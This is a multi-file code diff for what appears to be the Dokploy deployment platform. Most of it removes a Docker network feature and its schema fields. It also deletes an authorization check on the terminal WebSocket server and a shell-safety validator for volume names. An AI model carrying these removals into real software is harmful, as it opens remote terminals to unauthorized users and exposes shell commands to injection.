import { setupLocalServerSSHKey } from "./utils"; import { setupLocalServerSSHKey } from "./utils";
const COMMAND_TO_ALLOW_LOCAL_ACCESS = ` const COMMAND_TO_ALLOW_LOCAL_ACCESS = `
@@ -94,11 +93,6 @@ export const setupTerminalWebSocketServer = (
return; return;
} }
if (!(await canAccessTerminalOverWss(user, session, serverId))) {
ws.close(4003, "Not authorized");
return;
}
let connectionDetails: ConnectConfig = {}; let connectionDetails: ConnectConfig = {};
const isLocalServer = serverId === "local"; const isLocalServer = serverId === "local";

View File

@@ -8,7 +8,6 @@ import {
timestamp, timestamp,
} from "drizzle-orm/pg-core"; } from "drizzle-orm/pg-core";
import { nanoid } from "nanoid"; import { nanoid } from "nanoid";
import { network } from "./network";
import { projects } from "./project"; import { projects } from "./project";
import { server } from "./server"; import { server } from "./server";
import { ssoProvider } from "./sso"; import { ssoProvider } from "./sso";
@@ -109,7 +108,6 @@ export const organizationRelations = relations(
references: [user.id], references: [user.id],
}), }),
servers: many(server), servers: many(server),
networks: many(network),
projects: many(projects), projects: many(projects),
members: many(member), members: many(member),
ssoProviders: many(ssoProvider), ssoProviders: many(ssoProvider),

View File

@@ -54,15 +54,6 @@ export const apiUpdateAi = createSchema
}) })
.omit({ organizationId: true }); .omit({ organizationId: true });
export const aiCustomProviderSchema = z.object({
name: z.string().min(1, { message: "Name is required" }),
apiUrl: z.string().url({ message: "Please enter a valid URL" }),
});
export const apiSaveAiCustomProviders = z.object({
providers: z.array(aiCustomProviderSchema),
});
export const deploySuggestionSchema = z.object({ export const deploySuggestionSchema = z.object({
environmentId: z.string().min(1), environmentId: z.string().min(1),
id: z.string().min(1), id: z.string().min(1),

View File

@@ -233,10 +233,6 @@ export const applications = pgTable("application", {
onDelete: "set null", onDelete: "set null",
}, },
), ),
networkIds: text("networkIds").array().default([]),
detachDokployNetwork: boolean("detachDokployNetwork")
.notNull()
.default(false),
}); });
export const applicationsRelations = relations( export const applicationsRelations = relations(
@@ -378,8 +374,6 @@ const createSchema = createInsertSchema(applications, {
previewRequireCollaboratorPermissions: z.boolean().optional(), previewRequireCollaboratorPermissions: z.boolean().optional(),
watchPaths: z.array(z.string()).optional().optional(), watchPaths: z.array(z.string()).optional().optional(),
previewLabels: z.array(z.string()).optional(), previewLabels: z.array(z.string()).optional(),
networkIds: z.array(z.string()).optional(),
detachDokployNetwork: z.boolean().optional(),
cleanCache: z.boolean().optional(), cleanCache: z.boolean().optional(),
stopGracePeriodSwarm: z.number().nullable(), stopGracePeriodSwarm: z.number().nullable(),
endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(), endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(),

View File

@@ -1,12 +1,5 @@
import { relations } from "drizzle-orm"; import { relations } from "drizzle-orm";
import { import { boolean, integer, pgEnum, pgTable, text } from "drizzle-orm/pg-core";
boolean,
integer,
jsonb,
pgEnum,
pgTable,
text,
} from "drizzle-orm/pg-core";
import { createInsertSchema } from "drizzle-zod"; import { createInsertSchema } from "drizzle-zod";
import { nanoid } from "nanoid"; import { nanoid } from "nanoid";
import { z } from "zod"; import { z } from "zod";
@@ -120,15 +113,6 @@ export const compose = pgTable("compose", {
serverId: text("serverId").references(() => server.serverId, { serverId: text("serverId").references(() => server.serverId, {
onDelete: "cascade", onDelete: "cascade",
}), }),
serviceNetworks: jsonb("serviceNetworks")
.$type<
Array<{
serviceName: string;
networkIds: string[];
detachDokployNetwork: boolean;
}>
>()
.default([]),
}); });
export const composeRelations = relations(compose, ({ one, many }) => ({ export const composeRelations = relations(compose, ({ one, many }) => ({
@@ -190,15 +174,6 @@ const createSchema = createInsertSchema(compose, {
.optional(), .optional(),
triggerType: z.enum(["push", "tag"]).optional(), triggerType: z.enum(["push", "tag"]).optional(),
composeStatus: z.enum(["idle", "running", "done", "error"]).optional(), composeStatus: z.enum(["idle", "running", "done", "error"]).optional(),
serviceNetworks: z
.array(
z.object({
serviceName: z.string(),
networkIds: z.array(z.string()),
detachDokployNetwork: z.boolean(),
}),
)
.optional(),
}); });
export const apiCreateCompose = createSchema.pick({ export const apiCreateCompose = createSchema.pick({

View File

@@ -20,7 +20,6 @@ export * from "./mariadb";
export * from "./mongo"; export * from "./mongo";
export * from "./mount"; export * from "./mount";
export * from "./mysql"; export * from "./mysql";
export * from "./network";
export * from "./notification"; export * from "./notification";
export * from "./patch"; export * from "./patch";
export * from "./port"; export * from "./port";

View File

@@ -83,10 +83,6 @@ export const libsql = pgTable("libsql", {
stopGracePeriodSwarm: bigint("stopGracePeriodSwarm", { mode: "number" }), stopGracePeriodSwarm: bigint("stopGracePeriodSwarm", { mode: "number" }),
endpointSpecSwarm: json("endpointSpecSwarm").$type<EndpointSpecSwarm>(), endpointSpecSwarm: json("endpointSpecSwarm").$type<EndpointSpecSwarm>(),
replicas: integer("replicas").default(1).notNull(), replicas: integer("replicas").default(1).notNull(),
networkIds: text("networkIds").array().default([]),
detachDokployNetwork: boolean("detachDokployNetwork")
.notNull()
.default(false),
createdAt: text("createdAt") createdAt: text("createdAt")
.notNull() .notNull()
.$defaultFn(() => new Date().toISOString()), .$defaultFn(() => new Date().toISOString()),
@@ -150,8 +146,6 @@ const createSchema = createInsertSchema(libsql, {
networkSwarm: NetworkSwarmSchema.nullable(), networkSwarm: NetworkSwarmSchema.nullable(),
stopGracePeriodSwarm: z.number().nullable(), stopGracePeriodSwarm: z.number().nullable(),
endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(), endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(),
networkIds: z.array(z.string()).optional(),
detachDokployNetwork: z.boolean().optional(),
}); });
export const apiCreateLibsql = createSchema export const apiCreateLibsql = createSchema

View File

@@ -1,12 +1,5 @@
import { relations } from "drizzle-orm"; import { relations } from "drizzle-orm";
import { import { bigint, integer, json, pgTable, text } from "drizzle-orm/pg-core";
bigint,
boolean,
integer,
json,
pgTable,
text,
} from "drizzle-orm/pg-core";
import { createInsertSchema } from "drizzle-zod"; import { createInsertSchema } from "drizzle-zod";
import { nanoid } from "nanoid"; import { nanoid } from "nanoid";
import { z } from "zod"; import { z } from "zod";
@@ -95,10 +88,6 @@ export const mariadb = pgTable("mariadb", {
serverId: text("serverId").references(() => server.serverId, { serverId: text("serverId").references(() => server.serverId, {
onDelete: "cascade", onDelete: "cascade",
}), }),
networkIds: text("networkIds").array().default([]),
detachDokployNetwork: boolean("detachDokployNetwork")
.notNull()
.default(false),
}); });
export const mariadbRelations = relations(mariadb, ({ one, many }) => ({ export const mariadbRelations = relations(mariadb, ({ one, many }) => ({
@@ -159,8 +148,6 @@ const createSchema = createInsertSchema(mariadb, {
stopGracePeriodSwarm: z.number().nullable(), stopGracePeriodSwarm: z.number().nullable(),
endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(), endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(),
ulimitsSwarm: UlimitsSwarmSchema.nullable(), ulimitsSwarm: UlimitsSwarmSchema.nullable(),
networkIds: z.array(z.string()).optional(),
detachDokployNetwork: z.boolean().optional(),
}); });
export const apiCreateMariaDB = createSchema.pick({ export const apiCreateMariaDB = createSchema.pick({

View File

@@ -92,10 +92,6 @@ export const mongo = pgTable("mongo", {
onDelete: "cascade", onDelete: "cascade",
}), }),
replicaSets: boolean("replicaSets").default(false), replicaSets: boolean("replicaSets").default(false),
networkIds: text("networkIds").array().default([]),
detachDokployNetwork: boolean("detachDokployNetwork")
.notNull()
.default(false),
}); });
export const mongoRelations = relations(mongo, ({ one, many }) => ({ export const mongoRelations = relations(mongo, ({ one, many }) => ({
@@ -150,8 +146,6 @@ const createSchema = createInsertSchema(mongo, {
stopGracePeriodSwarm: z.number().nullable(), stopGracePeriodSwarm: z.number().nullable(),
endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(), endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(),
ulimitsSwarm: UlimitsSwarmSchema.nullable(), ulimitsSwarm: UlimitsSwarmSchema.nullable(),
networkIds: z.array(z.string()).optional(),
detachDokployNetwork: z.boolean().optional(),
}); });
export const apiCreateMongo = createSchema.pick({ export const apiCreateMongo = createSchema.pick({

View File

@@ -1,12 +1,5 @@
import { relations } from "drizzle-orm"; import { relations } from "drizzle-orm";
import { import { bigint, integer, json, pgTable, text } from "drizzle-orm/pg-core";
bigint,
boolean,
integer,
json,
pgTable,
text,
} from "drizzle-orm/pg-core";
import { createInsertSchema } from "drizzle-zod"; import { createInsertSchema } from "drizzle-zod";
import { nanoid } from "nanoid"; import { nanoid } from "nanoid";
import { z } from "zod"; import { z } from "zod";
@@ -93,10 +86,6 @@ export const mysql = pgTable("mysql", {
serverId: text("serverId").references(() => server.serverId, { serverId: text("serverId").references(() => server.serverId, {
onDelete: "cascade", onDelete: "cascade",
}), }),
networkIds: text("networkIds").array().default([]),
detachDokployNetwork: boolean("detachDokployNetwork")
.notNull()
.default(false),
}); });
export const mysqlRelations = relations(mysql, ({ one, many }) => ({ export const mysqlRelations = relations(mysql, ({ one, many }) => ({
@@ -156,8 +145,6 @@ const createSchema = createInsertSchema(mysql, {
stopGracePeriodSwarm: z.number().nullable(), stopGracePeriodSwarm: z.number().nullable(),
endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(), endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(),
ulimitsSwarm: UlimitsSwarmSchema.nullable(), ulimitsSwarm: UlimitsSwarmSchema.nullable(),
networkIds: z.array(z.string()).optional(),
detachDokployNetwork: z.boolean().optional(),
}); });
export const apiCreateMySql = createSchema.pick({ export const apiCreateMySql = createSchema.pick({

View File

@@ -1,129 +0,0 @@
import { relations } from "drizzle-orm";
import { boolean, jsonb, pgEnum, pgTable, text } from "drizzle-orm/pg-core";
import { createInsertSchema } from "drizzle-zod";
import { nanoid } from "nanoid";
import { z } from "zod";
import { organization } from "./account";
import { server } from "./server";
export const networkDriver = pgEnum("networkDriver", ["bridge", "overlay"]);
export const network = pgTable("network", {
networkId: text("networkId")
.notNull()
.primaryKey()
.$defaultFn(() => nanoid()),
name: text("name").notNull(),
driver: networkDriver("driver").notNull().default("bridge"),
internal: boolean("internal").notNull().default(false),
attachable: boolean("attachable").notNull().default(false),
enableIPv4: boolean("enableIPv4").notNull().default(true),
enableIPv6: boolean("enableIPv6").notNull().default(false),
ipam: jsonb("ipam")
.$type<{
driver?: string;
config?: Array<{ subnet?: string; gateway?: string; ipRange?: string }>;
}>()
.default({}),
createdAt: text("createdAt")
.notNull()
.$defaultFn(() => new Date().toISOString()),
organizationId: text("organizationId")
.notNull()
.references(() => organization.id, { onDelete: "cascade" }),
serverId: text("serverId").references(() => server.serverId, {
onDelete: "cascade",
}),
});
export const networkRelations = relations(network, ({ one }) => ({
organization: one(organization, {
fields: [network.organizationId],
references: [organization.id],
}),
server: one(server, {
fields: [network.serverId],
references: [server.serverId],
}),
}));
const createSchema = createInsertSchema(network, {
networkId: z.string().min(1),
name: z.string().min(1),
driver: z.enum(["bridge", "overlay"]).optional(),
internal: z.boolean().optional(),
attachable: z.boolean().optional(),
enableIPv4: z.boolean().optional(),
enableIPv6: z.boolean().optional(),
ipam: z
.object({
driver: z.string().optional(),
config: z
.array(
z.object({
subnet: z.string().optional(),
gateway: z.string().optional(),
ipRange: z.string().optional(),
}),
)
.optional(),
})
.optional(),
organizationId: z.string().min(1),
serverId: z.string().optional().nullable(),
});
const validateNetworkInput = (
input: {
enableIPv4?: boolean;
enableIPv6?: boolean;
ipam?: {
config?: Array<{ subnet?: string; gateway?: string; ipRange?: string }>;
} | null;
},
ctx: z.RefinementCtx,
) => {
if (input.enableIPv4 === false && input.enableIPv6 !== true) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
path: ["enableIPv4"],
message: "IPv4 or IPv6 must be enabled",
});
}
for (const [index, entry] of (input.ipam?.config ?? []).entries()) {
if (!entry.subnet && (entry.gateway || entry.ipRange)) {
ctx.addIssue({
code: z.ZodIssueCode.custom,
path: ["ipam", "config", index, "subnet"],
message: "Gateway and IP range require a subnet",
});
}
}
};
export const apiCreateNetwork = createSchema
.pick({
name: true,
driver: true,
internal: true,
attachable: true,
enableIPv4: true,
enableIPv6: true,
ipam: true,
serverId: true,
})
.partial()
.required({ name: true })
.superRefine(validateNetworkInput);
export const apiFindOneNetwork = createSchema
.pick({
networkId: true,
})
.required();
export const apiRemoveNetwork = createSchema
.pick({
networkId: true,
})
.required();

View File

@@ -1,12 +1,5 @@
import { relations } from "drizzle-orm"; import { relations } from "drizzle-orm";
import { import { bigint, integer, json, pgTable, text } from "drizzle-orm/pg-core";
bigint,
boolean,
integer,
json,
pgTable,
text,
} from "drizzle-orm/pg-core";
import { createInsertSchema } from "drizzle-zod"; import { createInsertSchema } from "drizzle-zod";
import { nanoid } from "nanoid"; import { nanoid } from "nanoid";
import { z } from "zod"; import { z } from "zod";
@@ -93,10 +86,6 @@ export const postgres = pgTable("postgres", {
serverId: text("serverId").references(() => server.serverId, { serverId: text("serverId").references(() => server.serverId, {
onDelete: "cascade", onDelete: "cascade",
}), }),
networkIds: text("networkIds").array().default([]),
detachDokployNetwork: boolean("detachDokployNetwork")
.notNull()
.default(false),
}); });
export const postgresRelations = relations(postgres, ({ one, many }) => ({ export const postgresRelations = relations(postgres, ({ one, many }) => ({
@@ -151,8 +140,6 @@ const createSchema = createInsertSchema(postgres, {
stopGracePeriodSwarm: z.number().nullable(), stopGracePeriodSwarm: z.number().nullable(),
endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(), endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(),
ulimitsSwarm: UlimitsSwarmSchema.nullable(), ulimitsSwarm: UlimitsSwarmSchema.nullable(),
networkIds: z.array(z.string()).optional(),
detachDokployNetwork: z.boolean().optional(),
}); });
export const apiCreatePostgres = createSchema.pick({ export const apiCreatePostgres = createSchema.pick({

View File

@@ -1,12 +1,5 @@
import { relations } from "drizzle-orm"; import { relations } from "drizzle-orm";
import { import { bigint, integer, json, pgTable, text } from "drizzle-orm/pg-core";
bigint,
boolean,
integer,
json,
pgTable,
text,
} from "drizzle-orm/pg-core";
import { createInsertSchema } from "drizzle-zod"; import { createInsertSchema } from "drizzle-zod";
import { nanoid } from "nanoid"; import { nanoid } from "nanoid";
import { z } from "zod"; import { z } from "zod";
@@ -87,10 +80,6 @@ export const redis = pgTable("redis", {
serverId: text("serverId").references(() => server.serverId, { serverId: text("serverId").references(() => server.serverId, {
onDelete: "cascade", onDelete: "cascade",
}), }),
networkIds: text("networkIds").array().default([]),
detachDokployNetwork: boolean("detachDokployNetwork")
.notNull()
.default(false),
}); });
export const redisRelations = relations(redis, ({ one, many }) => ({ export const redisRelations = relations(redis, ({ one, many }) => ({
@@ -140,8 +129,6 @@ const createSchema = createInsertSchema(redis, {
stopGracePeriodSwarm: z.number().nullable(), stopGracePeriodSwarm: z.number().nullable(),
endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(), endpointSpecSwarm: EndpointSpecSwarmSchema.nullable(),
ulimitsSwarm: UlimitsSwarmSchema.nullable(), ulimitsSwarm: UlimitsSwarmSchema.nullable(),
networkIds: z.array(z.string()).optional(),
detachDokployNetwork: z.boolean().optional(),
}); });
export const apiCreateRedis = createSchema.pick({ export const apiCreateRedis = createSchema.pick({

View File

@@ -57,7 +57,6 @@ export const schedules = pgTable("schedule", {
}); });
export type Schedule = typeof schedules.$inferSelect; export type Schedule = typeof schedules.$inferSelect;
export type ScheduleType = Schedule["scheduleType"];
export const schedulesRelations = relations(schedules, ({ one, many }) => ({ export const schedulesRelations = relations(schedules, ({ one, many }) => ({
application: one(applications, { application: one(applications, {
@@ -79,9 +78,7 @@ export const schedulesRelations = relations(schedules, ({ one, many }) => ({
deployments: many(deployments), deployments: many(deployments),
})); }));
export const createScheduleSchema = createInsertSchema(schedules, { export const createScheduleSchema = createInsertSchema(schedules);
scheduleType: z.enum(["application", "compose", "server", "dokploy-server"]),
});
export const updateScheduleSchema = createScheduleSchema.extend({ export const updateScheduleSchema = createScheduleSchema.extend({
scheduleId: z.string().min(1), scheduleId: z.string().min(1),

View File

@@ -19,7 +19,6 @@ import { libsql } from "./libsql";
import { mariadb } from "./mariadb"; import { mariadb } from "./mariadb";
import { mongo } from "./mongo"; import { mongo } from "./mongo";
import { mysql } from "./mysql"; import { mysql } from "./mysql";
import { network } from "./network";
import { postgres } from "./postgres"; import { postgres } from "./postgres";
import { redis } from "./redis"; import { redis } from "./redis";
import { schedules } from "./schedule"; import { schedules } from "./schedule";
@@ -126,7 +125,6 @@ export const serverRelations = relations(server, ({ one, many }) => ({
mysql: many(mysql), mysql: many(mysql),
postgres: many(postgres), postgres: many(postgres),
certificates: many(certificates), certificates: many(certificates),
networks: many(network),
organization: one(organization, { organization: one(organization, {
fields: [server.organizationId], fields: [server.organizationId],
references: [organization.id], references: [organization.id],

View File

@@ -41,12 +41,6 @@ export const APP_NAME_REGEX = /^[a-zA-Z0-9._-]+$/;
export const APP_NAME_MESSAGE = export const APP_NAME_MESSAGE =
"App name can only contain letters, numbers, dots, underscores and hyphens"; "App name can only contain letters, numbers, dots, underscores and hyphens";
/** Docker volume name: must start alphanumeric, then letters/numbers/._- only. Safe for shell. */
export const VOLUME_NAME_REGEX = /^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/;
export const VOLUME_NAME_MESSAGE =
"Volume name must start with a letter or number and contain only letters, numbers, dots, underscores and hyphens";
/** Database password: blocks shell-dangerous characters like $ ! ' " \ / and spaces. */ /** Database password: blocks shell-dangerous characters like $ ! ' " \ / and spaces. */
export const DATABASE_PASSWORD_REGEX = export const DATABASE_PASSWORD_REGEX =
/^[a-zA-Z0-9@#%^&*()_+\-=[\]{}|;:,.<>?~`]*$/; /^[a-zA-Z0-9@#%^&*()_+\-=[\]{}|;:,.<>?~`]*$/;

Some files were not shown because too many files have changed in this diff Show More